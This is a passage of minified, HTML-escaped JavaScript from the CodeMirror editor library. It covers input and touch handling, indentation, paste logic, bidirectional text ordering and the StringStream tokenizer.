c.display.input.reset(!0)},20),Qf(this),af(),ed(this),this.curOp.forceUpdate=!0,Yd(this,d),b.autofocus&amp;&amp;!yg||this.hasFocus()?setTimeout(j(Ic,this),20):Jc(this);for(var g in Vh)Vh.hasOwnProperty(g)&amp;&amp;Vh[g](c,b[g],Th);Oc(this),b.finishInit&amp;&amp;b.finishInit(this);for(var h=0;h&lt;Wh.length;++h)Wh[h](c);fd(this),pg&amp;&amp;b.lineWrapping&amp;&amp;&quot;optimizelegibility&quot;==getComputedStyle(f.lineDiv).textRendering&amp;&amp;(f.lineDiv.style.textRendering=&quot;auto&quot;)}function Qf(a){function b(){e.activeTouch&amp;&amp;(f=setTimeout(function(){return e.activeTouch=null},1e3),g=e.activeTouch,g.end=+new Date)}function c(a){if(1!=a.touches.length)return!1;var b=a.touches[0];return b.radiusX&lt;=1&amp;&amp;b.radiusY&lt;=1}function d(a,b){if(null==b.left)return!0;var c=b.left-a.left,d=b.top-a.top;return c*c+d*d&gt;400}var e=a.display;Yg(e.scroller,&quot;mousedown&quot;,nd(a,zf)),ng&amp;&amp;og&lt;11?Yg(e.scroller,&quot;dblclick&quot;,nd(a,function(b){if(!Fa(a,b)){var c=yc(a,b);if(c&amp;&amp;!Hf(a,b)&amp;&amp;!Nb(a.display,b)){Ja(b);var d=a.findWordAt(c);ne(a.doc,d.anchor,d.head)}}})):Yg(e.scroller,&quot;dblclick&quot;,function(b){return Fa(a,b)||Ja(b)}),Fg||Yg(e.scroller,&quot;contextmenu&quot;,function(b){return If(a,b)});var f,g={end:0};Yg(e.scroller,&quot;touchstart&quot;,function(b){if(!Fa(a,b)&amp;&amp;!c(b)){e.input.ensurePolled(),clearTimeout(f);var d=+new Date;e.activeTouch={start:d,moved:!1,prev:d-g.end&lt;=300?g:null},1==b.touches.length&amp;&amp;(e.activeTouch.left=b.touches[0].pageX,e.activeTouch.top=b.touches[0].pageY)}}),Yg(e.scroller,&quot;touchmove&quot;,function(){e.activeTouch&amp;&amp;(e.activeTouch.moved=!0)}),Yg(e.scroller,&quot;touchend&quot;,function(c){var f=e.activeTouch;if(f&amp;&amp;!Nb(e,c)&amp;&amp;null!=f.left&amp;&amp;!f.moved&amp;&amp;new Date-f.start&lt;300){var g,h=a.coordsChar(e.activeTouch,&quot;page&quot;);g=!f.prev||d(f,f.prev)?new yh(h,h):!f.prev.prev||d(f,f.prev.prev)?a.findWordAt(h):new yh(J(h.line,0),Q(a.doc,J(h.line+1,0))),a.setSelection(g.anchor,g.head),a.focus(),Ja(c)}b()}),Yg(e.scroller,&quot;touchcancel&quot;,b),Yg(e.scroller,&quot;scroll&quot;,function(){e.scroller.clientHeight&amp;&amp;(Zc(a,e.scroller.scrollTop),_c(a,e.scroller.scrollLeft,!0),Ea(a,&quot;scroll&quot;,a))}),Yg(e.scroller,&quot;mousewheel&quot;,function(b){return Ld(a,b)}),Yg(e.scroller,&quot;DOMMouseScroll&quot;,function(b){return Ld(a,b)}),Yg(e.wrapper,&quot;scroll&quot;,function(){return e.wrapper.scrollTop=e.wrapper.scrollLeft=0}),e.dragFunctions={enter:function(b){Fa(a,b)||Ma(b)},over:function(b){Fa(a,b)||(Ze(a,b),Ma(b))},start:function(b){return Ye(a,b)},drop:nd(a,Xe),leave:function(b){Fa(a,b)||$e(a)}};var h=e.input.getField();Yg(h,&quot;keyup&quot;,function(b){return wf.call(a,b)}),Yg(h,&quot;keydown&quot;,nd(a,uf)),Yg(h,&quot;keypress&quot;,nd(a,xf)),Yg(h,&quot;focus&quot;,function(b){return Ic(a,b)}),Yg(h,&quot;blur&quot;,function(b){return Jc(a,b)})}function Rf(a,b,c,d){var e,f=a.doc;null==c&amp;&amp;(c=&quot;add&quot;),&quot;smart&quot;==c&amp;&amp;(f.mode.indent?e=ab(a,b).state:c=&quot;prev&quot;);var g=a.options.tabSize,h=B(f,b),i=l(h.text,null,g);h.stateAfter&amp;&amp;(h.stateAfter=null);var j,k=h.text.match(/^\s*/)[0];if(d||/\S/.test(h.text)){if(&quot;smart&quot;==c&amp;&amp;(j=f.mode.indent(e,h.text.slice(k.length),h.text),j==Mg||j&gt;150)){if(!d)return;c=&quot;prev&quot;}}else j=0,c=&quot;not&quot;;&quot;prev&quot;==c?j=b&gt;f.first?l(B(f,b-1).text,null,g):0:&quot;add&quot;==c?j=i+a.options.indentUnit:&quot;subtract&quot;==c?j=i-a.options.indentUnit:&quot;number&quot;==typeof c&amp;&amp;(j=i+c),j=Math.max(0,j);var m=&quot;&quot;,n=0;if(a.options.indentWithTabs)for(var p=Math.floor(j/g);p;--p)n+=g,m+=&quot;\t&quot;;if(n&lt;j&amp;&amp;(m+=o(j-n)),m!=k)return Je(f,m,J(b,0),J(b,k.length),&quot;+input&quot;),h.stateAfter=null,!0;for(var q=0;q&lt;f.sel.ranges.length;q++){var r=f.sel.ranges[q];if(r.head.line==b&amp;&amp;r.head.ch&lt;k.length){var s=J(b,k.length);pe(f,q,new yh(s,s));break}}}function Sf(a){Xh=a}function Tf(a,b,c,d,e){var f=a.doc;a.display.shift=!1,d||(d=f.sel);var g=a.state.pasteIncoming||&quot;paste&quot;==e,h=$g(b),i=null;if(g&amp;&amp;d.ranges.length&gt;1)if(Xh&amp;&amp;Xh.text.join(&quot;\n&quot;)==b){if(d.ranges.length%Xh.text.length==0){i=[];for(var j=0;j&lt;Xh.text.length;j++)i.push(f.splitLines(Xh.text[j]))}}else h.length==d.ranges.length&amp;&amp;a.options.pasteLinesPerSelection&amp;&amp;(i=q(h,function(a){return[a]}));for(var k,l=d.ranges.length-1;l&gt;=0;l--){var m=d.ranges[l],n=m.from(),o=m.to();m.empty()&amp;&amp;(c&amp;&amp;c&gt;0?n=J(n.line,n.ch-c):a.state.overwrite&amp;&amp;!g?o=J(o.line,Math.min(B(f,o.line).text.length,o.ch+p(h).length)):Xh&amp;&amp;Xh.lineWise&amp;&amp;Xh.text.join(&quot;\n&quot;)==b&amp;&amp;(n=o=J(n.line,0))),k=a.curOp.updateInput;var r={from:n,to:o,text:i?i[l%i.length]:h,origin:e||(g?&quot;paste&quot;:a.state.cutIncoming?&quot;cut&quot;:&quot;+input&quot;)};De(a.doc,r),yb(a,&quot;inputRead&quot;,a,r)}b&amp;&amp;!g&amp;&amp;Vf(a,b),Uc(a),a.curOp.updateInput=k,a.curOp.typing=!0,a.state.pasteIncoming=a.state.cutIncoming=!1}function Uf(a,b){var c=a.clipboardData&amp;&amp;a.clipboardData.getData(&quot;Text&quot;);if(c)return a.preventDefault(),b.isReadOnly()||b.options.disableInput||md(b,function(){return Tf(b,c,0,null,&quot;paste&quot;)}),!0}function Vf(a,b){if(a.options.electricChars&amp;&amp;a.options.smartIndent)for(var c=a.doc.sel,d=c.ranges.length-1;d&gt;=0;d--){var e=c.ranges[d];if(!(e.head.ch&gt;100||d&amp;&amp;c.ranges[d-1].head.line==e.head.line)){var f=a.getModeAt(e.head),g=!1;if(f.electricChars){for(var h=0;h&lt;f.electricChars.length;h++)if(b.indexOf(f.electricChars.charAt(h))&gt;-1){g=Rf(a,e.head.line,&quot;smart&quot;);break}}else f.electricInput&amp;&amp;f.electricInput.test(B(a.doc,e.head.line).text.slice(0,e.head.ch))&amp;&amp;(g=Rf(a,e.head.line,&quot;smart&quot;));g&amp;&amp;yb(a,&quot;electricInput&quot;,a,e.head.line)}}}function Wf(a){for(var b=[],c=[],d=0;d&lt;a.doc.sel.ranges.length;d++){var e=a.doc.sel.ranges[d].head.line,f={anchor:J(e,0),head:J(e+1,0)};c.push(f),b.push(a.getRange(f.anchor,f.head))}return{text:b,ranges:c}}function Xf(a,b){a.setAttribute(&quot;autocorrect&quot;,&quot;off&quot;),a.setAttribute(&quot;autocapitalize&quot;,&quot;off&quot;),a.setAttribute(&quot;spellcheck&quot;,!!b)}function Yf(){var a=d(&quot;textarea&quot;,null,null,&quot;position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none&quot;),b=d(&quot;div&quot;,[a],null,&quot;overflow: hidden; position: relative; width: 3px; height: 0px;&quot;);return pg?a.style.width=&quot;1000px&quot;:a.setAttribute(&quot;wrap&quot;,&quot;off&quot;),wg&amp;&amp;(a.style.border=&quot;1px solid black&quot;),Xf(a),b}function Zf(a,b,c,d,e){function f(){var d=b.line+c;return!(d&lt;a.first||d&gt;=a.first+a.size)&amp;&amp;(b=new J(d,b.ch,b.sticky),j=B(a,d))}function g(d){var g;if(g=e?Ba(a.cm,j,b,c):za(j,b,c),null==g){if(d||!f())return!1;b=Aa(e,a.cm,j,b.line,c)}else b=g;return!0}var h=b,i=c,j=B(a,b.line);if(&quot;char&quot;==d)g();else if(&quot;column&quot;==d)g(!0);else if(&quot;word&quot;==d||&quot;group&quot;==d)for(var k=null,l=&quot;group&quot;==d,m=a.cm&amp;&amp;a.cm.getHelper(b,&quot;wordChars&quot;),n=!0;!(c&lt;0)||g(!n);n=!1){var o=j.text.charAt(b.ch)||&quot;\n&quot;,p=v(o,m)?&quot;w&quot;:l&amp;&amp;&quot;\n&quot;==o?&quot;n&quot;:!l||/\s/.test(o)?null:&quot;p&quot;;if(!l||n||p||(p=&quot;s&quot;),k&amp;&amp;k!=p){c&lt;0&amp;&amp;(c=1,g(),b.sticky=&quot;after&quot;);break}if(p&amp;&amp;(k=p),c&gt;0&amp;&amp;!g(!n))break}var q=ze(a,b,h,i,!0);return L(h,q)&amp;&amp;(q.hitSide=!0),q}function $f(a,b,c,d){var e,f=a.doc,g=b.left;if(&quot;page&quot;==d){var h=Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),i=Math.max(h-.5*sc(a.display),3);e=(c&gt;0?b.bottom:b.top)+c*i}else&quot;line&quot;==d&amp;&amp;(e=c&gt;0?b.bottom+3:b.top-3);for(var j;j=oc(a,g,e),j.outside;){if(c&lt;0?e&lt;=0:e&gt;=f.height){j.hitSide=!0;break}e+=5*c}return j}function _f(a,b){var c=Yb(a,b.line);if(!c||c.hidden)return null;var d=B(a.doc,b.line),e=Vb(c,d,b.line),f=xa(d,a.doc.direction),g=&quot;left&quot;;if(f){var h=wa(f,b.ch);g=h%2?&quot;right&quot;:&quot;left&quot;}var i=_b(e.map,b.ch,g);return i.offset=&quot;right&quot;==i.collapse?i.end:i.start,i}function ag(a){for(var b=a;b;b=b.parentNode)if(/CodeMirror-gutter-wrapper/.test(b.className))return!0;return!1}function bg(a,b){return b&amp;&amp;(a.bad=!0),a}function cg(a,b,c,d,e){function f(a){return function(b){return b.id==a}}function g(){k&amp;&amp;(j+=l,k=!1)}function h(a){a&amp;&amp;(g(),j+=a)}function i(b){if(1==b.nodeType){var c=b.getAttribute(&quot;cm-text&quot;);if(null!=c)return void h(c||b.textContent.replace(/\u200b/g,&quot;&quot;));var j,m=b.getAttribute(&quot;cm-marker&quot;);if(m){var n=a.findMarks(J(d,0),J(e+1,0),f(+m));return void(n.length&amp;&amp;(j=n[0].find(0))&amp;&amp;h(C(a.doc,j.from,j.to).join(l)))}if(&quot;false&quot;==b.getAttribute(&quot;contenteditable&quot;))return;var o=/^(pre|div|p)$/i.test(b.nodeName);o&amp;&amp;g();for(var p=0;p&lt;b.childNodes.length;p++)i(b.childNodes[p]);o&amp;&amp;(k=!0)}else 3==b.nodeType&amp;&amp;h(b.nodeValue)}for(var j=&quot;&quot;,k=!1,l=a.doc.lineSeparator();i(b),b!=c;)b=b.nextSibling;return j}function dg(a,b,c){var d;if(b==a.display.lineDiv){if(d=a.display.lineDiv.childNodes[c],!d)return bg(a.clipPos(J(a.display.viewTo-1)),!0);b=null,c=0}else for(d=b;;d=d.parentNode){if(!d||d==a.display.lineDiv)return null;if(d.parentNode&amp;&amp;d.parentNode==a.display.lineDiv)break}for(var e=0;e&lt;a.display.view.length;e++){var f=a.display.view[e];if(f.node==d)return eg(f,b,c)}}function eg(a,b,c){function d(b,c,d){for(var e=-1;e&lt;(l?l.length:0);e++)for(var f=e&lt;0?k.map:l[e],g=0;g&lt;f.length;g+=3){var h=f[g+2];if(h==b||h==c){var i=F(e&lt;0?a.line:a.rest[e]),j=f[g]+d;return(d&lt;0||h!=b)&amp;&amp;(j=f[g+(d?1:0)]),J(i,j)}}}var e=a.text.firstChild,g=!1;if(!b||!f(e,b))return bg(J(F(a.line),0),!0);if(b==e&amp;&amp;(g=!0,b=e.childNodes[c],c=0,!b)){var h=a.rest?p(a.rest):a.line;return bg(J(F(h),h.text.length),g)}var i=3==b.nodeType?b:null,j=b;for(i||1!=b.childNodes.length||3!=b.firstChild.nodeType||(i=b.firstChild,c&amp;&amp;(c=i.nodeValue.length));j.parentNode!=e;)j=j.parentNode;var k=a.measure,l=k.maps,m=d(i,j,c);if(m)return bg(m,g);for(var n=j.nextSibling,o=i?i.nodeValue.length-c:0;n;n=n.nextSibling){if(m=d(n,n.firstChild,0))return bg(J(m.line,m.ch-o),g);o+=n.textContent.length}for(var q=j.previousSibling,r=c;q;q=q.previousSibling){if(m=d(q,q.firstChild,-1))return bg(J(m.line,m.ch+r),g);r+=q.textContent.length}}function fg(a,b){function c(){a.value=j.getValue()}if(b=b?k(b):{},b.value=a.value,!b.tabindex&amp;&amp;a.tabIndex&amp;&amp;(b.tabindex=a.tabIndex),!b.placeholder&amp;&amp;a.placeholder&amp;&amp;(b.placeholder=a.placeholder),null==b.autofocus){var d=g();b.autofocus=d==a||null!=a.getAttribute(&quot;autofocus&quot;)&amp;&amp;d==document.body}var e;if(a.form&amp;&amp;(Yg(a.form,&quot;submit&quot;,c),!b.leaveSubmitMethodAlone)){var f=a.form;e=f.submit;try{var h=f.submit=function(){c(),f.submit=e,f.submit(),f.submit=h}}catch(i){}}b.finishInit=function(b){b.save=c,b.getTextArea=function(){return a},b.toTextArea=function(){b.toTextArea=isNaN,
c(),a.parentNode.removeChild(b.getWrapperElement()),a.style.display=&quot;&quot;,a.form&amp;&amp;(Da(a.form,&quot;submit&quot;,c),&quot;function&quot;==typeof a.form.submit&amp;&amp;(a.form.submit=e))}},a.style.display=&quot;none&quot;;var j=Pf(function(b){return a.parentNode.insertBefore(b,a.nextSibling)},b);return j}function gg(a){a.off=Da,a.on=Yg,a.wheelEventPixels=Kd,a.Doc=Eh,a.splitLines=$g,a.countColumn=l,a.findColumn=n,a.isWordChar=u,a.Pass=Mg,a.signal=Ea,a.Line=jh,a.changeEnd=Od,a.scrollbarModel=sh,a.Pos=J,a.cmpPos=K,a.modes=ch,a.mimeModes=dh,a.resolveMode=Ua,a.getMode=Va,a.modeExtensions=eh,a.extendMode=Wa,a.copyState=Xa,a.startState=Za,a.innerMode=Ya,a.commands=Mh,a.keyMap=Lh,a.keyName=jf,a.isModifierKey=gf,a.lookupKey=ff,a.normalizeKeyMap=ef,a.StringStream=fh,a.SharedTextMarker=Ch,a.TextMarker=Bh,a.LineWidget=zh,a.e_preventDefault=Ja,a.e_stopPropagation=Ka,a.e_stop=Ma,a.addClass=h,a.contains=f,a.rmClass=Gg,a.keyNames=Hh}var hg=navigator.userAgent,ig=navigator.platform,jg=/gecko\/\d/i.test(hg),kg=/MSIE \d/.test(hg),lg=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(hg),mg=/Edge\/(\d+)/.exec(hg),ng=kg||lg||mg,og=ng&amp;&amp;(kg?document.documentMode||6:+(mg||lg)[1]),pg=!mg&amp;&amp;/WebKit\//.test(hg),qg=pg&amp;&amp;/Qt\/\d+\.\d+/.test(hg),rg=!mg&amp;&amp;/Chrome\//.test(hg),sg=/Opera\//.test(hg),tg=/Apple Computer/.test(navigator.vendor),ug=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(hg),vg=/PhantomJS/.test(hg),wg=!mg&amp;&amp;/AppleWebKit/.test(hg)&amp;&amp;/Mobile\/\w+/.test(hg),xg=/Android/.test(hg),yg=wg||xg||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(hg),zg=wg||/Mac/.test(ig),Ag=/\bCrOS\b/.test(hg),Bg=/win/i.test(ig),Cg=sg&amp;&amp;hg.match(/Version\/(\d*\.\d*)/);Cg&amp;&amp;(Cg=Number(Cg[1])),Cg&amp;&amp;Cg&gt;=15&amp;&amp;(sg=!1,pg=!0);var Dg,Eg=zg&amp;&amp;(qg||sg&amp;&amp;(null==Cg||Cg&lt;12.11)),Fg=jg||ng&amp;&amp;og&gt;=9,Gg=function(b,c){var d=b.className,e=a(c).exec(d);if(e){var f=d.slice(e.index+e[0].length);b.className=d.slice(0,e.index)+(f?e[1]+f:&quot;&quot;)}};Dg=document.createRange?function(a,b,c,d){var e=document.createRange();return e.setEnd(d||a,c),e.setStart(a,b),e}:function(a,b,c){var d=document.body.createTextRange();try{d.moveToElementText(a.parentNode)}catch(e){return d}return d.collapse(!0),d.moveEnd(&quot;character&quot;,c),d.moveStart(&quot;character&quot;,b),d};var Hg=function(a){a.select()};wg?Hg=function(a){a.selectionStart=0,a.selectionEnd=a.value.length}:ng&amp;&amp;(Hg=function(a){try{a.select()}catch(b){}});var Ig=function(){this.id=null};Ig.prototype.set=function(a,b){clearTimeout(this.id),this.id=setTimeout(b,a)};var Jg,Kg,Lg=30,Mg={toString:function(){return&quot;CodeMirror.Pass&quot;}},Ng={scroll:!1},Og={origin:&quot;*mouse&quot;},Pg={origin:&quot;+move&quot;},Qg=[&quot;&quot;],Rg=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,Sg=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/,Tg=!1,Ug=!1,Vg=null,Wg=function(){function a(a){return a&lt;=247?c.charAt(a):1424&lt;=a&amp;&amp;a&lt;=1524?&quot;R&quot;:1536&lt;=a&amp;&amp;a&lt;=1785?d.charAt(a-1536):1774&lt;=a&amp;&amp;a&lt;=2220?&quot;r&quot;:8192&lt;=a&amp;&amp;a&lt;=8203?&quot;w&quot;:8204==a?&quot;b&quot;:&quot;L&quot;}function b(a,b,c){this.level=a,this.from=b,this.to=c}var c=&quot;bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN&quot;,d=&quot;nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111&quot;,e=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,f=/[stwN]/,g=/[LRr]/,h=/[Lb1n]/,i=/[1n]/;return function(c,d){var j=&quot;ltr&quot;==d?&quot;L&quot;:&quot;R&quot;;if(0==c.length||&quot;ltr&quot;==d&amp;&amp;!e.test(c))return!1;for(var k=c.length,l=[],m=0;m&lt;k;++m)l.push(a(c.charCodeAt(m)));for(var n=0,o=j;n&lt;k;++n){var q=l[n];&quot;m&quot;==q?l[n]=o:o=q}for(var r=0,s=j;r&lt;k;++r){var t=l[r];&quot;1&quot;==t&amp;&amp;&quot;r&quot;==s?l[r]=&quot;n&quot;:g.test(t)&amp;&amp;(s=t,&quot;r&quot;==t&amp;&amp;(l[r]=&quot;R&quot;))}for(var u=1,v=l[0];u&lt;k-1;++u){var w=l[u];&quot;+&quot;==w&amp;&amp;&quot;1&quot;==v&amp;&amp;&quot;1&quot;==l[u+1]?l[u]=&quot;1&quot;:&quot;,&quot;!=w||v!=l[u+1]||&quot;1&quot;!=v&amp;&amp;&quot;n&quot;!=v||(l[u]=v),v=w}for(var x=0;x&lt;k;++x){var y=l[x];if(&quot;,&quot;==y)l[x]=&quot;N&quot;;else if(&quot;%&quot;==y){var z=void 0;for(z=x+1;z&lt;k&amp;&amp;&quot;%&quot;==l[z];++z);for(var A=x&amp;&amp;&quot;!&quot;==l[x-1]||z&lt;k&amp;&amp;&quot;1&quot;==l[z]?&quot;1&quot;:&quot;N&quot;,B=x;B&lt;z;++B)l[B]=A;x=z-1}}for(var C=0,D=j;C&lt;k;++C){var E=l[C];&quot;L&quot;==D&amp;&amp;&quot;1&quot;==E?l[C]=&quot;L&quot;:g.test(E)&amp;&amp;(D=E)}for(var F=0;F&lt;k;++F)if(f.test(l[F])){var G=void 0;for(G=F+1;G&lt;k&amp;&amp;f.test(l[G]);++G);for(var H=&quot;L&quot;==(F?l[F-1]:j),I=&quot;L&quot;==(G&lt;k?l[G]:j),J=H==I?H?&quot;L&quot;:&quot;R&quot;:j,K=F;K&lt;G;++K)l[K]=J;F=G-1}for(var L,M=[],N=0;N&lt;k;)if(h.test(l[N])){var O=N;for(++N;N&lt;k&amp;&amp;h.test(l[N]);++N);M.push(new b(0,O,N))}else{var P=N,Q=M.length;for(++N;N&lt;k&amp;&amp;&quot;L&quot;!=l[N];++N);for(var R=P;R&lt;N;)if(i.test(l[R])){P&lt;R&amp;&amp;M.splice(Q,0,new b(1,P,R));var S=R;for(++R;R&lt;N&amp;&amp;i.test(l[R]);++R);M.splice(Q,0,new b(2,S,R)),P=R}else++R;P&lt;N&amp;&amp;M.splice(Q,0,new b(1,P,N))}return 1==M[0].level&amp;&amp;(L=c.match(/^\s+/))&amp;&amp;(M[0].from=L[0].length,M.unshift(new b(0,0,L[0].length))),1==p(M).level&amp;&amp;(L=c.match(/\s+$/))&amp;&amp;(p(M).to-=L[0].length,M.push(new b(0,k-L[0].length,k))),&quot;rtl&quot;==d?M.reverse():M}}(),Xg=[],Yg=function(a,b,c){if(a.addEventListener)a.addEventListener(b,c,!1);else if(a.attachEvent)a.attachEvent(&quot;on&quot;+b,c);else{var d=a._handlers||(a._handlers={});d[b]=(d[b]||Xg).concat(c)}},Zg=function(){if(ng&amp;&amp;og&lt;9)return!1;var a=d(&quot;div&quot;);return&quot;draggable&quot;in a||&quot;dragDrop&quot;in a}(),$g=3!=&quot;\n\nb&quot;.split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;b&lt;=d;){var e=a.indexOf(&quot;\n&quot;,b);e==-1&amp;&amp;(e=a.length);var f=a.slice(b,&quot;\r&quot;==a.charAt(e-1)?e-1:e),g=f.indexOf(&quot;\r&quot;);g!=-1?(c.push(f.slice(0,g)),b+=g+1):(c.push(f),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},_g=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){var b;try{b=a.ownerDocument.selection.createRange()}catch(c){}return!(!b||b.parentElement()!=a)&amp;&amp;0!=b.compareEndPoints(&quot;StartToEnd&quot;,b)},ah=function(){var a=d(&quot;div&quot;);return&quot;oncopy&quot;in a||(a.setAttribute(&quot;oncopy&quot;,&quot;return;&quot;),&quot;function&quot;==typeof a.oncopy)}(),bh=null,ch={},dh={},eh={},fh=function(a,b,c){this.pos=this.start=0,this.string=a,this.tabSize=b||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=c};fh.prototype.eol=function(){return this.pos&gt;=this.string.length},fh.prototype.sol=function(){return this.pos==this.lineStart},fh.prototype.peek=function(){return this.string.charAt(this.pos)||void 0},fh.prototype.next=function(){if(this.pos&lt;this.string.length)return this.string.charAt(this.pos++)},fh.prototype.eat=function(a){var b,c=this.string.charAt(this.pos);if(b=&quot;string&quot;==typeof a?c==a:c&amp;&amp;(a.test?a.test(c):a(c)))return++this.pos,c},fh.prototype.eatWhile=function(a){for(var b=this.pos;this.eat(a););return this.pos&gt;b},fh.prototype.eatSpace=function(){for(var a=this,b=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++a.pos;return this.pos&gt;b},fh.prototype.skipToEnd=function(){this.pos=this.string.length},fh.prototype.skipTo=function(a){var b=this.string.indexOf(a,this.pos);if(b&gt;-1)return this.pos=b,!0},fh.prototype.backUp=function(a){this.pos-=a},fh.prototype.column=function(){return this.lastColumnPos&lt;this.start&amp;&amp;(this.lastColumnValue=l(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?l(this.string,this.lineStart,this.tabSize):0)},fh.prototype.indentation=function(){return l(this.string,null,this.tabSize)-(this.lineStart?l(this.string,this.lineStart,this.tabSize):0)},fh.prototype.match=function(a,b,c){if(&quot;string&quot;!=typeof a){var d=this.string.slice(this.pos).match(a);return d&amp;&amp;d.index&gt;0?null:(d&amp;&amp;b!==!1&amp;&amp;(this.pos+=d[0].length),d)}var e=function(a){return c?a.toLowerCase():a},f=this.string.substr(this.pos,a.length);if(e(f)==e(a))return b!==!1&amp;&amp;(this.pos+=a.length),!0},fh.prototype.current=function(){return this.string.slice(this.start,this.pos)},fh.prototype.hideFirstChars=function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}},fh.prototype.lookAhead=function(a){var b=this.lineOracle;return b&amp;&amp;b.lookAhead(a)};var gh=function(a,b){this.state=a,this.lookAhead=b},hh=function(a,b,c,d){this.state=b,this.doc=a,this.line=c,this.maxLookAhead=d||0};hh.prototype.lookAhead=function(a){var b=this.doc.getLine(this.line+a);return null!=b&amp;&amp;a&gt;this.maxLookAhead&amp;&amp;(this.maxLookAhead=a),b},hh.prototype.nextLine=function(){this.line++,this.maxLookAhead&gt;0&amp;&amp;this.maxLookAhead--},hh.fromSaved=function(a,b,c){return b instanceof gh?new hh(a,Xa(a.mode,b.state),c,b.lookAhead):new hh(a,Xa(a.mode,b),c)},hh.prototype.save=function(a){var b=a!==!1?Xa(this.doc.mode,this.state):this.state;return this.maxLookAhead&gt;0?new gh(b,this.maxLookAhead):b};var ih=function(a,b,c){this.start=a.start,this.end=a.pos,this.string=a.current(),this.type=b||null,this.state=c},jh=function(a,b,c){this.text=a,da(this,b),this.height=c?c(this):1};jh.prototype.lineNo=function(){return F(this)},Ia(jh);var kh,lh={},mh={},nh=null,oh=null,ph={left:0,right:0,top:0,bottom:0},qh=function(a,b,c){this.cm=c;var 